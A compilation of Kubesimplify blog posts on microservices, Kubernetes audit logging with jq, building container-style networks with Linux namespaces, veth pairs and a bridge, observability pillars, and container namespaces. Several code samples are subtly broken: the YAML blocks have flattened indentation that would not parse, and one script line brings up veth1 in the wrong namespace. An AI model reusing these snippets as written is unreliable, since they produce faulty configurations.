Share the blog if you learned about Bacalhau and I will post the next deep dive version soon.

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Microservices

- Canonical: https://blog.kubesimplify.com/microservices
- Published: 2023-06-05

Imagine a rapidly growing application that handles numerous user requests, processes data, and provides seamless functionality to users. In the traditional monolithic architecture, the entire application is bundled into a single unit, tightly coupled and dependent on a single technology stack. As the application scales, challenges arise: coordination between teams becomes complex, scaling specific services is inefficient, and the release process becomes time-consuming.

In this blog, we'll explore the transformative power of microservices architecture and how it overcomes the limitations of the monolithic approach. By breaking down the application into smaller, self-contained microservices, each responsible for specific business functionality, we gain unprecedented flexibility, scalability, and maintainability. But that's not all – we'll delve into the challenges of microservices and the various communication methods between them. Plus, we'll discuss different approaches for managing code in microservices, from monorepo to polyrepo.

## Before microservices - Monolithic Architecture

Before microservices, the standard way of developing applications was with a monolithic architecture. This means the whole code was a part of a single unit. Everything was developed, deployed and scaled as one unit. This means that the application must be written in a single language with one tech stack with a single runtime. And if you have different teams working on different parts of the application, they will need to coordinate to make sure they don't affect each other's work. Also, if developers change code for a specific functionality, then the whole application needs to be built and deployed as one package because you can't just update and deploy only one specific functionality in a monolithic architecture. So, this was the standard way of developing applications. But as applications grew in size and complexity, various challenges occurred.

### Challenges of Monolithic Architecture

1. Coordination between teams became difficult when applications became large and complex.
    
2. You cannot scale a specific service, instead, you would need to scale the entire application, which meant higher infrastructure costs.
    
3. The release process takes longer, because for changes in any part of the application in any feature, you need to test and build the whole application to deploy those changes.
    
4. A bug in any module can bring down the entire application.
    

The solution to all these problems was microservices.

## Microservices - Introduction

With microservices, we break down the application into essentially multiple smaller applications, so we have several small or micro applications that make up this one big application.

Here, we face some challenges. Like:

* When do we create a microservice architecture?
    
* How to decide how to break down the application?
    
* Which code goes where?
    
* How do they communicate?
    

Firstly, the best practice is to break down the application into components or microservices based on the business functionalities and not technical functionalities.

In terms of size, each microservice must do just one isolated thing.

A very important characteristic of each microservice is that they should be self-contained and independent of each other. This means each service must be able to be developed, deployed and scaled separately without any type of dependencies on any other service, even though they are part of the same application. This is called **loosely coupled**.

Each microservice has its versions which are not dependent on others.

## Communication between microservices

There are three ways by which microservices can talk to each other.

1. **Communication via API calls:** Each microservice has its API, and they can talk to each other by sending requests to the respective API endpoint. This is *synchronous communication,* where one service sends a request to another service and waits for the response.
    
2. **Communication via Message Broker:** This is *asynchronous communication*. Here, services will send messages first to the intermediary message service or a broker such as RabbitMQ and the message broker will forward that message to the respective service.
    
3. **Communication via Service Mesh:** This method is becoming pretty popular, especially in the field of Kubernetes. With service mesh, you have kind of a helper service that takes over the complete communication logic, so you don't have to code this logic into the microservices and have this communication logic kind of delegated to this external service.
    

Since the services are all isolated and talk to each other either with API calls or using additional services you can even develop each service with a different programming language, and you can have dedicated teams that can choose their technology stack and work on their service without affecting or being affected by other service teams. And this is the most important advantage of microservices architecture over monolithic architecture.

## Disadvantages of microservices

While microservices made developing and deploying applications easier in many aspects, they also introduced some other challenges that were not there before.

1. Configuring the communication between microservices, because a microservice may be down or unhealthy and not responding yet, while another service starts sending requests to its API expecting a fulfilled response but end up getting unexpected result.
    
2. With microservices deployed and scaled separately, it may become difficult to keep an overview and find out when a microservice is down or which service is down when something in the application is not working properly.
    

Tools are being developed to tackle these challenges. The most popular one we all know is **Kubernetes**, which is a perfect platform for running large microservices applications.

## How to manage the code

Now. you must be wondering that if these microservices get developed and deployed separately, then how do we manage the code?

For this, we have two ways: **Monorepo** and **Polyrepo.**

### Monorepo

Monorepo means having one Git repository for all the services.

But how do we structure multiple applications in one repository? A common way is using folders, where we have folders for each service, and all the codes for those services are in those respective folders.

A Monorepo makes code management and development easier because you only have to clone and work with one repository. Changes can be tracked together, tested together and released together.

There are some challenges we face with Monorepo. Like:

* We know that the biggest advantage of microservices is to be completely independent and loosely coupled, but in the case of mono repo, there is a tight coupling of services.
    
* When the application becomes big, git interactions (cloning, fetching and pushing) become slow.
    
* In terms of the CI/CD pipeline, in most of the CI/CD platforms like GitLab CI/CD or Jenkins, we can only create one pipeline for one project. Since we are building multiple services with a single project pipeline and that means we need to add additional logic in our pipeline code that makes sure to only build and deploy the service which has changed.
    
* Since we have just one main branch because we have one repository, if developers of one of the services break the main branch, then other services and their pipelines will be blocked as well.
    

### Polyrepo

In this, for each service, we create a separate git project.

However, there are separate application repositories, they are still part of this bigger application. So we want to have some connection between these repositories for easy management.

Here we have, a separate pipeline for each repository.

It also has some downsides. They are:

* Having code in multiple repositories can make working on the project harder, especially if we need to change two or more services at once.
    
* Searching, testing and debugging are more difficult.
    

So, that was a blog on Microservices.

Connect with me to get more content on DevOps, Open source and Cloud.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# The Ultimate Guide to Audit Logging in Kubernetes: From Setup to Analysis

- Canonical: https://blog.kubesimplify.com/the-ultimate-guide-to-audit-logging-in-kubernetes-from-setup-to-analysis
- Published: 2023-05-15
- Summary: Audit logging in Kubernetes and jq

Kubernetes is a popular container orchestration tool that has revolutionized the way developers deploy and manage their applications. However, as with any complex system, it's important to have visibility into what's going on under the hood. That's where auditing comes in. Kubernetes auditing entails keeping a record and evaluating all actions that occur within the cluster, including requests made to the API server and the creation or removal of pods. This data can be utilized to identify security breaches, solve problems, and ensure adherence to regulatory standards. In this article, we'll take a closer look at Kubernetes auditing and how it can benefit your organization.

Auditing assists in maintaining compliance. It helps by providing the ability to retrieve certain sequences of events a user has initiated. This ability to retrieve the historical records of changes made to the cluster provides deep insights into strengthening the regulatory framework in the organization.

## What are the stages during Audit logging

The kube-apiserver allows us to capture the logs at various stages of a request sent to it. This includes the events at the metadata stage, request, and response bodies as well. Kubernetes allows us to define the stages which we intend to capture. The following are the allowed stages in the Kubernetes audit logging framework:

* **RequestReceived**: As the name suggests, this stage captures the generated events as soon as the audit handler receives the request.
    
* **ResponseStarted**: In this stage, collects the events once the response headers are sent, but just before the response body is sent.
    
* **ResponseComplete**: This stage collects the events after the response body is sent completely.
    
* **Panic**: Events collected whenever the apiserever panics.
    

There are lots of calls made to the API server, and we need a mechanism to filter out the events based on our requirements. Kubernetes auditing provides yet another feature for this very reason — the `level` field in the policy configuration.

## What are the levels at which Auditing needs to happen

The `level` field in the rules list defines what properties of an event are recorded. An important aspect of audit logging in Kubernetes is, whenever an event is processed *it is matched against the rules defined in the config file in order.* The first rule sets the audit level of logging the event. Kubernetes provides the following audit levels while defining the audit configuration.

* **None**: This disables logging of any event that matches the rule.
    
* **Metadata**: Logs request metadata (requesting user/userGroup, timestamp, resource/subresource, verb, status, etc.) but not request or response bodies.
    
* **Request**: This level records the event metadata and request body but does not log the response body.
    
* **RequestResponse**: It is more verbose among all the levels as this level logs the Metadata, request, and response bodies.
    

## Configuration

Auditing in Kubernetes is not enabled by default. We need to configure this feature by providing a set of rules defining the events we intend to keep track of, and the location where we intend to store the audit logs.

Let's first discuss the rules in the audit configuration.

## Rules

The rules in the audit config mainly comprise of **Level** and **Stages**. Of course, there are other parameters as well, like `resources`, `verbs`, `users`/`userGroups`, etc. The meaty part of the rule file is in `level` and `resources` lists.

Following is an example Audit policy configuration:

```yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: Metadata
 namespaces: ["default"]
 verbs: ["get","list","delete"]
 resources:
    - group: ""
 resources: ["pods"]
  - level: RequestResponse
 omitStages: ["RequestReceived"]
 namespaces: ["default"]
 verbs: ["create","get","delete"]
 resources:
    - group: ""
 resources: ["secrets","configmaps"]
  - level: Metadata
 namespaces: ["default"]
 resources:
    - group: ""
 # pods/exec is a subresource
 resources: ["pods/exec"] 
  - level: None
 verbs: ["watch"]
 namespaces: ["*"]
 resources:
    - group: ""
```

In the above configuration file, the first three lines containing `apiVersion`, `kind`, and `rules` are required fields. Under `rules` list, all the parameters based on our logging requirements are defined.

In the first block, we are logging the information at `Metadata` level. The events we are logging for this block are for `get`, `list`, and `delete` operations on the resources defined in the `resources` list in the *default* `namespace`. In this case, whenever the `kube-apiserver` receives a request for the get or delete method on a pod object, the events for the same will be logged at the metadata level.

Similarly, in the second block, we are logging based on the *RequestResponse* level on the `secret` and `configMap` objects in the *default* `namespace`, whenever the API server receives a *get* or *delete* HTTP method. This rule will not log events generated during `ResquestReceived` stage defined in `omitStages`.

In the third rule, we are logging something interesting. this rule will log all the information whenever there is an `exec` into a pod in the `default` namespace. Finally, we have a rule defining all the irrelevant information we are not bothered to collect the logs for. As logging occupies lots of disk space, we need to precisely define what are the events that we are not interested in logging. Kubernetes provides a field for this called `omitStages`, which skips logging for that particular stage defined under `omitStages`. This rule will not log any information on all the objects in the `core` group on the `watch` verb.

## Configuring the APIServer ad enabling Auditing in k8s

After creating the policy configuration, we must set up the kube-apiserver by providing it with the necessary information, such as the location of the configuration file, log file details, and log size. This can be achieved by inserting the specified lines into the `command` field of the `kube-apiserver` manifest file.

```yaml
spec:
 containers:
  - command:
 <snip>
    - --audit-policy-file=/etc/kubernetes/audit-policy.yaml 
    - --audit-log-path=/var/log/audit/audit.log
    - --audit-log-maxage=5 #No of days we want to retain the logs
 <snip>
```

you can define a few more properties with respect to maintaining the logs. `--audit-log-maxbackup` for defining the maximum of audit log files to retain and `--audit-log-maxsize` sets the maximum size of the log files in megabytes before rotating.

As these files need to be accessed by the `kube-apiserver` pod. We need to make it available within the pod by mounting the `hostPath` to the location of the policy and log file. This makes the audit records persistent.

```yaml
 volumes:
  - name: audit
 hostPath:
 path: /etc/kubernetes/audit-policy.yaml
 type: File
  - name: audit-log
 hostPath:
 path: /var/log/audit/audit.log
 type: FileOrCreate
```

```yaml
 volumeMounts:
    - mountPath: /etc/kubernetes/audit-policy.yaml
 name: audit
 readOnly: true
    - mountPath: /var/log/audit/audit.log
 name: audit-log
 readOnly: false
```

This step completes the configuration of the audit log in the `kube-apiserver` and sets a log location for our audit logs. This step of modification will restart the `kube-apiserver` and we should already be receiving some logs in the log location we had defined.

> In case the `kube-apiserver` doesn't come up online. We need to look at the pod logs at `/var/log/pods/kube-system_kube-master_xxx/kube-apiserver/x.log` location for any misconfiguration and errors.

Now, if we perform any action defined in the audit log policy configuration. We should expect the audit logs to appear in the log file, if we inspect the same we should view the logs in a somewhat similar fashion:

```json
{
 "kind": "Event",
 "apiVersion": "audit.k8s.io/v1",
 "level": "Metadata",
 "auditID": "c762ad6d-9994-4b03-8e6b-eee5e19d3d98",
 "stage": "ResponseComplete",
 "requestURI": "/api/v1/namespaces/default/pods/test",
 "verb": "get",
 "user": {
 "username": "kubernetes-admin",
 "groups": [
 "system:masters",
 "system:authenticated"
    ]
  },
 "sourceIPs": [
 "192.168.56.11"
  ],
 "userAgent": "kubectl/v1.26.0 (linux/amd64) kubernetes/b46a3f8",
 "objectRef": {
 "resource": "pods",
 "namespace": "default",
 "name": "test",
 "apiVersion": "v1"
  },
 "responseStatus": {
 "metadata": {},
 "code": 200
  },
 "requestReceivedTimestamp": "2023-03-29T15:33:20.131662Z",
 "stageTimestamp": "2023-03-29T15:33:20.133724Z",
 "annotations": {
 "authorization.k8s.io/decision": "allow",
 "authorization.k8s.io/reason": ""
  }
}
```

From the above json blob, we can identify some of the important fields which might give us some insights into **what happened** inside the cluster. Some of the fields of interest are `requestURI`, `verb`, `sourceIP`, `user`, and the `objectRef` objects. Mind you these are just a few fields that are captured in `Metadata` level, we might get a lot more information if we change the level to `RequestResponse` type.

Viewing all the relevant information from such json blobs may become daunting. To make our life easy, there is yet another tool — **jq** which helps us in parsing such large amounts of data contained in JSON structure.

## Leveraging jq to view the audit logs

jq, as aptly defined in its \[official documentation\]([https://stedolan.github.io/jq/](https://stedolan.github.io/jq/)) is a *lightweight and flexible command-line JSON processor.* We can leverage the power of jq and target specific fields in the Kubernetes audit logs.

For example, if we are interested to track all the activity related to the HTTP methods sent to API server that are defined in our rules. We may simply use the command `tail -f /var/log/audit/audit.log | jq .verb`. Or we can track which resources the API requests are made to, by using the following command `tail -f /var/log/audit/audit.log | jq .objectRef.resource`

We may go a step ahead and use more advanced features of *jq* such as filters.

For example, in our audit policy, we have defined to log all actions if we perform a `create`, `get` or a `delete` operation on secrets. In order to pretty-print the audit logs, we can use the jq filter as shown in the image below.

![crete-secret](https://user-images.githubusercontent.com/91916466/229306165-10cfa3cd-e52e-4f40-b27c-e43b0bb5c677.png align="left")

![delete-secret](https://user-images.githubusercontent.com/91916466/229306171-33d80d1e-6d17-4ba7-b8af-69cd5cd464c6.png align="left")

For detecting a shell being spawned inside a pod:

![shell](https://user-images.githubusercontent.com/91916466/230908797-25d79a00-0234-4a43-8b30-161fd33c7183.png align="left")

The above example is for filtering each resource based on some selection criteria. We can further leverage the power of jq by saving all our filters on various resources in a single file and supplying that file as a command line argument to jq. This command will spit out the log in a human-readable format immediately whenever it detects an event matching the rules define in our audit policy configuration file.

For example, whenever a `configMap` object is created, which contains some sensitive information ( *username or password* as field names in this example). A specific jq filter will kick in and trigger a human-readable output from the audit log.

![sensitive1](https://user-images.githubusercontent.com/91916466/230733788-bc96c972-5393-40e2-8307-a428d881b519.png align="left")

[*The example filter used for this demo can be found on my GitHub gist.*](https://gist.github.com/Santosh1176/a901c7eb48b91cf3292a3b7d7da20665)

The above examples are for learning and experimenting purposes. In the production cluster, it is advisable to use a centralized logging solution like the ELK stack to collect, process, and analyze the logs. Where, Logstash can be used as a log collector, which can ingest logs from Kubernetes audit logs, and then Elasticsearch can be used to store the logs. Finally, Kibana can be used to visualize and analyze the logs.

## Conclusion

In conclusion, Kubernetes auditing is a crucial tool for maintaining visibility and control over the activity within a cluster. Logging is a critical aspect of security in production clusters, and it's essential to have a robust method to audit logging. By recording and analyzing all events, it can help organizations track down security breaches, troubleshoot issues, and ensure compliance with regulatory requirements. With the flexibility provided by the ability to define stages and levels of logging, organizations can tailor their auditing to their specific needs. However, it is important to remember that auditing can generate a lot of data, so it's essential to configure the policy and the storage location carefully to ensure effective and efficient use of resources. Overall, Kubernetes auditing is an essential part of any organization's strategy for managing and securing their applications in a Kubernetes environment.

By enabling audit logging, choosing the right audit policy, using a centralized logging system, and monitoring audit logs, you can ensure the security of your production cluster and quickly detect and respond to any security threats.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Docker Networking Demystified

- Canonical: https://blog.kubesimplify.com/docker-networking-demystified
- Published: 2023-05-10

### Introduction

Docker has transformed the way developers build, ship, and run applications. Its networking capabilities are a key feature that allows containers to communicate with one another and the outside world. However, Docker networking can be complex and challenging to comprehend, particularly for those new to the technology. In this article, we will demystify Docker networking by exploring how containers communicate with each other and the concept of network namespaces. Read on to gain a better understanding of Docker networking.

### Network Namespaces

On Linux, a network namespace is a technique used to isolate network resources, such as network interfaces, routing tables, and firewall rules, from the rest of the system. Each network namespace provides an independent network stack that can be used by processes running within that namespace. This allows multiple applications to run on the same host while using different network configurations.

Docker leverages network namespaces to provide container-level networking isolation. When a Docker container is started, it is assigned its own network namespace. This namespace provides a virtual network interface, IP address, routing table, and firewall rules for the container. The Docker daemon also creates a bridge network, which acts as a virtual switch connecting all the containers in the same network. Containers can communicate with each other through this bridge network or with the outside world through the host's network interface.

Docker also supports other network drivers, such as overlay networks, which allow containers to communicate across multiple hosts, and host networks, which allow containers to use the host's network interface directly. Each network driver uses a different network namespace to provide network isolation and different features for container networking.

Overall, network namespaces provide a powerful tool for isolating and managing network resources on Linux, and Docker leverages this technology to provide flexible and secure networking for containerized applications.

### How it works

To recreate docker containers at the most basic level we can create two network namespaces and then create a virtual Ethernet pair (`veth pair`) and plug the two ends into each of the network namespaces now this creates our simple container network in the most basic terms.

![](/img/blog/docker-networking-demystified/fe6a02e3-4e78-4495-b218-134c9bd5b4bb.png align="center")

Below is the script that does the same. So let's understand it line by line.

%[https://gist.github.com/sauravrana646/f68f9cd8acf05e7994c72c475feca66f] 

```bash
set -o pipefail
```

This sets the Bash option "pipefail", which causes a pipeline (a series of commands separated by pipes) to fail if any command in the pipeline fails. This ensures that errors in the pipeline are detected, and the script exits with a non-zero status.

```bash
string="$1"
```

This assigns the first command-line argument to the variable "string".

```bash
if [ "$string" = "up" ]; then
```

This checks if the value of "string" is equal to "up". If it is, the following commands will be executed.

```bash
ip netns add net1
ip netns add net2
```

These commands create two network namespaces called "net1" and "net2" using the "ip netns add" command.

```bash
ip link add veth1 netns net1 type veth peer name veth2 netns net2
```

This creates a pair of virtual network interfaces called "veth1" and "veth2", with "veth1" connected to "net1" and "veth2" connected to "net2", using the "ip link add" command.

```bash
ip netns exec net1 ip addr add 10.100.0.1/16 dev veth1
ip netns exec net2 ip addr add 10.100.0.2/16 dev veth2
```

These commands assign IP addresses to both virtual interfaces using the "ip addr add" command.

```bash
ip netns exec net1 ip link set lo up
ip netns exec net2 ip link set lo up
```

These commands bring up the loopback interface in both namespaces using the "ip link set" command.

```bash
ip netns exec net2 ip link set veth1 up
ip netns exec net2 ip link set veth2 up
```

These commands bring up the virtual network interfaces in "net2" using the "ip link set" command.

```bash
ip netns exec net1 ping -c 3 10.100.0.2
```

This command tests connectivity from "net1" to "net2" by pinging the IP address of "veth2" in "net2" using the "ping" command.

```bash
ip netns exec net2 ping -c 3 10.100.0.1
```

This command tests connectivity from "net2" to "net1" by pinging the IP address of "veth1" in "net1" using the "ping" command.

```bash
if [ "$1" == "down" ]; then
```

This checks if the value of the first command-line argument is equal to "down". If it is, the following commands will be executed.

```bash
ip netns delete net1
ip netns delete net2
```

These commands delete the network namespaces "net1" and "net2" using the "ip netns delete" command.

### Let's run it

To run this bash script, we can make an executable using `chmod +x` just run it with the `bash -c` parameter.

![](/img/blog/docker-networking-demystified/280e0c08-4a8a-48cf-8268-387b5850d945.png align="center")

As we can see, our script ran, and we can ping namespaces from one another. We can also get inside these namespaces to see their details.

```bash
sudo ip netns exec net1 ip a
```

This command shows us the interfaces inside the `net1` namespace, and we can see that `net1` has `veth1` interface which is assigned the same IP as we did in the script.

![](/img/blog/docker-networking-demystified/c760a73b-9caa-4fc8-8c4a-9ba131508e9a.png align="center")

This marks the completion of our first part but there's some problem with this approach that we are going to discuss now.

---

### The Problem

We have just begun to scratch the surface of Linux and virtual networks. As we learned how, two containers can talk to each other through virtual Ethernet pairs, but there is a problem. Can you guess what may be the issue?

Yes, the issue is, that it is not scalable if we have a large no. of containers because we have to create an Ethernet pair and attach it to all the containers so that all can communicate with each other.

For example, if we have four containers, we would need to create N\*(N-1)/2 containers, i.e. we would be needing 6 veth pairs to connect all of them.

![](/img/blog/docker-networking-demystified/a3770ff7-a00f-4a34-9df4-21495bccf9b2.png align="center")

Thus, to solve this problem, the concept of **bridges** was introduced.

### Linux Bridge

A Linux bridge is a software bridge that connects multiple network interfaces together into a single network segment. It is a layer 2 devices that operates at the data link layer of the OSI model, allowing it to connect network segments together by forwarding traffic between interfaces.

In the context of Docker, a Linux bridge is a common networking solution used to connect containers running on a host system to the external network. When a container is created, Docker creates a virtual Ethernet (veth) pair, which consists of two virtual network interfaces: one end is attached to the container's namespace, while the other end is attached to the host system's bridge interface.

![](/img/blog/docker-networking-demystified/0f4e2c03-d7cf-4c60-abbe-c9639206865a.png align="center")

The Linux bridge is created on the host system, and all containers are connected to the bridge via their virtual interfaces. This allows them to communicate with each other and with the external network.

One of the primary benefits of using a Linux bridge with Docker is that it simplifies the process of managing container networking. With a bridge, Docker containers can be easily connected to a single network segment, eliminating the need to manually configure network interfaces for each container.

### Let's create a bridge

Here's the modified bash script to include a bridge as a mode of communication between the namespaces.

%[https://gist.github.com/sauravrana646/56d4efb50b4dbd4ebbe077652591c511] 

Let's go through it line by line one more time.

```bash
ip netns add net1
ip netns add net2
```

These commands create two new network namespaces, named net1 and net2, respectively.

```bash
ip link add veth1 type veth peer name vethpeer1
ip link add veth2 type veth peer name vethpeer2
```

These commands create two virtual Ethernet devices named "veth1" and "veth2", each with a peer device named "vethpeer1" and "vethpeer2", respectively.

```bash
ip link set veth1 up
ip link set veth2 up
```

These commands bring the veth1 and veth2 interfaces up.

```bash
ip link set vethpeer1 netns net1
ip link set vethpeer2 netns net2
```

These commands move the peer devices "vethpeer1" and "vethpeer2" into the network namespaces "net1" and "net2", respectively.

```bash
ip netns exec net1 ip link set lo up
ip netns exec net2 ip link set lo up
```

These commands bring the loopback interfaces up in the net1 and net2 network namespaces, respectively.

```bash
ip netns exec net1 ip link set vethpeer1 up
ip netns exec net2 ip link set vethpeer2 up
```

These commands bring up the peer devices "vethpeer1" and "vethpeer2" in their respective network namespaces.

```bash
ip netns exec net1 ip addr add 10.100.0.10/16 dev vethpeer1
ip netns exec net2 ip addr add 10.100.0.20/16 dev vethpeer2
```

These commands assign IP addresses to the vethpeer1 and vethpeer2 interfaces, giving them IP addresses 10.100.0.10 and 10.100.0.20, respectively.

```bash
ip link add br00 type bridge
ip link set br00 up
```

These commands create a new bridge interface named br00 and bring it up.

```bash
ip link set veth1 master br00
ip link set veth2 master br00
```

These commands add the veth1 and veth2 interfaces to the br00 bridge.

```bash
ip addr add 10.100.0.1/16 dev br00
```

This command assigns an IP address to the br00 interface, giving it IP address 10.100.0.1.

```bash
ip netns exec net1 ip route add default via 10.100.0.1
ip netns exec net2 ip route add default via 10.100.0.1
```

These commands add default routes to the net1 and net2 network namespaces, directing traffic to the br00 interface.

```bash
ip netns exec net1 ping -c 3 10.100.0.20
ip netns exec net2 ping -c 3 10.100.0.10
```

These commands test the connectivity between the two network namespaces by running ping commands from one namespace to the other.

```bash
bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
```

This command enables IP forwarding by setting the value of the ip\_forward sysctl parameter to 1.

```bash
iptables -t nat -A POSTROUTING -s 10.100.0.1/16 ! -o br00 -j MASQUERADE
```

This command sets up NAT (Network Address Translation) using iptables. Specifically, it adds a rule to the nat table (-t nat) that applies to packets with a source IP address of 10.100.0.1/16 (-s 10.100.0.1/16) that are not going out through the br00 interface (! -o br00). The rule action is to apply MASQUERADE (-j MASQUERADE), which modifies the source IP address of the packet to the IP address of the outgoing interface (in this case, br00).

```bash
ip netns exec net1 ping -c 3 8.8.8.8
```

This command tests connectivity to the Google DNS server (8.8.8.8) from the net1 namespace by sending three ICMP echo request packets.

### Let's bridge it

Run the bash script using `sudo ./bridge.sh up`

![](/img/blog/docker-networking-demystified/5c4fba67-199e-4711-b990-2a28251dd21c.png align="center")

As we can see that our namespaces are able to communicate with each other through the bridge and after some additional configuration we can also ping the internet through our namespaces.

We can also check our bridge through `brctl and ifconfig` command like this.

![](/img/blog/docker-networking-demystified/c7159074-f4b0-43f8-9fd1-8a1e0735380d.png align="center")

![](/img/blog/docker-networking-demystified/7f6f3177-cf16-4f6b-8ab4-b71cf999f32f.png align="center")

### Summary

In this part, we learned how containers talk to each other through virtual ethernet pairs and what is the problem with that approach, and how bridges solve the problem of connecting multiple containers effectively. We understood why a bridge is required, how it works and helps to manage container networking.

> But there is something that might be confusing here, why we had to use `ip_forwarding` and add `iptable` rule?

This we will explore in the next part of the series so stay tuned for the next part and until then keep growing, keep grinding, and keep learning .... !!

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Four Pillars Of Observability in Kubernetes

- Canonical: https://blog.kubesimplify.com/four-pillars-of-observability-in-kubernetes
- Published: 2023-05-01

Kubernetes is a complex system due to its distributed and dynamic nature, managing a large number of containers and services across multiple nodes, which makes it difficult to manually monitor and manage. This is where Observability comes in by providing insight into the health, performance, and behavior of applications and clusters. Before we discuss the Four Pillars of Observability, let's understand what observability means.

## Understanding Observability

**Observability refers to the ability to gain insight into the state and behavior of the application by collecting and analyzing various types of data. If this sounds overwhelming, let me readily explain you.**  
Suppose you own a big garage with a lot of cars. Now, you need to observe which car needs repairing or which car has a broken part. This is what observability does in the case of Kubernetes. Consider Kubernetes as a big garage with many nodes, clusters, services, CRD, etc which needs to be observed continuously for better the working of the application. By using special tools, we can check if things are running smoothly or if there are any problems that need fixing. This helps to make sure that everything is working the way it should be, just like how you want all of your cars to work properly.

## Observability vs Monitoring

![](/img/blog/four-pillars-of-observability-in-kubernetes/223786d0-fbda-4de7-99d7-57a4a1196116.jpeg align="center")

Although observability and monitoring are often mentioned together, they serve different purposes.

Monitoring involves collecting and analyzing data and metrics from the Kubernetes cluster to ensure it's performing as expected. This can include things like checking CPU usage, memory usage, and network traffic of the cluster and its components, such as pods and nodes.

For observability, we can say that it is built on top of monitoring. **Observability includes monitoring but goes beyond it to analyze logs, traces, and other techniques that can provide insights into the behavior of the application as a whole.**

For example, in Kubernetes, monitoring might involve checking the CPU usage of a pod to ensure it's not running out of resources. Observability, on the other hand, might involve collecting and analyzing logs and metrics from multiple pods, services, and nodes in the cluster to gain insights into the overall health and performance of the entire system.

## Four Pillars of Observability

If you know about observability, you might've heard about the Three Pillars of Observability and might be wondering what's the fourth pillar. Well, here are the four pillars of observability:

* Metrics
    
* Tracing
    
* Logging
    
* Profiling
    

![](/img/blog/four-pillars-of-observability-in-kubernetes/a127f22b-9fcd-4c03-b22c-8dd305469939.png align="center")

### Metrics

The definition refers to metrics as the data which is collected from different components of the cluster to monitor and measure the health and performance of the system. Metrics can provide insights into key aspects of the cluster such as CPU usage, memory usage, network traffic, and other performance-related data.

Suppose you want to know the performance of your car or you want to know how far it can travel, that's like a metric. In the same way, metrics will help you to analyze the performance of your cluster or your application.

Tools such as Prometheus, Dynatrace, and Datadag help you to fetch metrics.  
Grafana provides a better view of these metrics using dashboards.

![](/img/blog/four-pillars-of-observability-in-kubernetes/0b76fe7a-4720-4a20-8690-577e8dcdb188.png align="center")

### Tracing

The definition refers to tracing as the practice of collecting and analyzing data about the requests that flow through your system, in order to identify and diagnose issues with application performance and behavior.

Suppose you are playing a game of tag and someone tags you. Now you need to figure out who tagged you by tracing back to where they came from. That's like tracing in Kubernetes, it helps you figure out what's happening by following the path of something.

![](/img/blog/four-pillars-of-observability-in-kubernetes/d203166c-5a71-4e49-aeb0-adaba9ac0652.png align="center")

### Logging

The definition refers to logging as the practice of collecting and storing data about the events and activities that occur within your cluster, in order to monitor and diagnose issues with your applications and infrastructure.

Imagine you have a diary where you write down everything you do each day. That's like logging, it helps you keep track of what you did and when you did it. In Kubernetes, we use logging to keep track of what's happening in the cluster or in our application. For example, if there's an error, we can look at the logs to figure out what went wrong.

![](/img/blog/four-pillars-of-observability-in-kubernetes/6ca679b6-9878-4d08-9657-69022302824f.png align="center")

### Profiling

Profiling has been the latest addition to the pillars of observability. It refers to the practice of analyzing the performance of your applications and cluster, in order to identify areas of inefficiency that may be impacting their performance. Profiling can help you understand how your applications are using resources like CPU and memory, and identify areas where optimization may be needed to improve their performance.

Imagine you have a friend who's really good at drawing, and you want to learn how they do it. You might watch them draw and try to copy their technique. That's like profiling, it helps us understand how something is done by watching it in action. Just like in Kubernetes, we use profiling to figure out how our cluster or our application is working and where we can make it work better.

![](/img/blog/four-pillars-of-observability-in-kubernetes/4652139f-80f8-472f-83ec-5fe0df652ff5.webp align="center")

The above image represents a Flame Graph. A FlameGraph is a way to visualize the profile of an application allowing it to instantly detect the most frequent code path. They can be particularly useful in a Kubernetes environment, where multiple containers are running on a cluster, and you need to identify performance bottlenecks.

## Wrapping up

In this blog post, I briefed you about observability, monitoring vs observability, and the four pillars of observability.

In the next blog posts, we will try to dive deep into the four pillars of observability separately with a demo.

You can reach out to me on [Twitter](https://twitter.com/RakshitGondwal) or [LinkedIn](https://www.linkedin.com/in/rakshit-gondwal-911223230/) if you would like to have a chat about Cloud Native, Observability, or DevOps.

Thank you for reading :)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Understanding How Containers Work Behind the Scenes

- Canonical: https://blog.kubesimplify.com/understanding-how-containers-work-behind-the-scenes
- Published: 2023-04-29

Containers provide a convenient way to deploy and run applications within their own isolated environment, eliminating the need to create separate virtual machines. However, have you ever questioned the underlying mechanisms that make containers operate seamlessly?

%[https://giphy.com/gifs/kQOxxwjjuTB7O] 

Containers leverage two key features of the Linux kernel which enables better isolation between the processes:

1. Namespaces.
    
2. Control groups (cgroups).
    

When a container is launched, Docker generates a unique set of namespaces and cgroups which are allocated specifically to that container.

> "Containers are like Russian dolls - they have layers upon layers, and when you open them up, you realize they all contain the same thing, just in different sizes!" ~chatgpt

Let's take a closer look at what these namespaces and cgroups are and how can you create one.

## Namespaces and cgroups

### Namespaces

![](/img/blog/understanding-how-containers-work-behind-the-scenes/839696f4-943b-44b3-8ab2-e637ef81f4d7.png align="center")

Namespace is a feature in Linux that lets you see a specific part of the system, meaning allocating resources in an isolated environment. Namespace allows you to create that isolated environment where the container only knows what it can see because it's only in a certain namespace.

When you initialize a container, docker generates a set of namespaces for the container and every container has its own unique set of namespaces.

**There are various types of namespaces with different properties:**

* User/UIDs namespaces - a container running within the user namespace is isolated from the User IDs and Group IDs of other containers, making them unaware of each other's existence.
    
* UTS namespaces - isolate hostname and domain name information.
    
* IPC namespaces - isolate IPC method.
    
* Net namespaces - isolate network interfaces.
    
* PID namespaces - isolate process IDs.
    
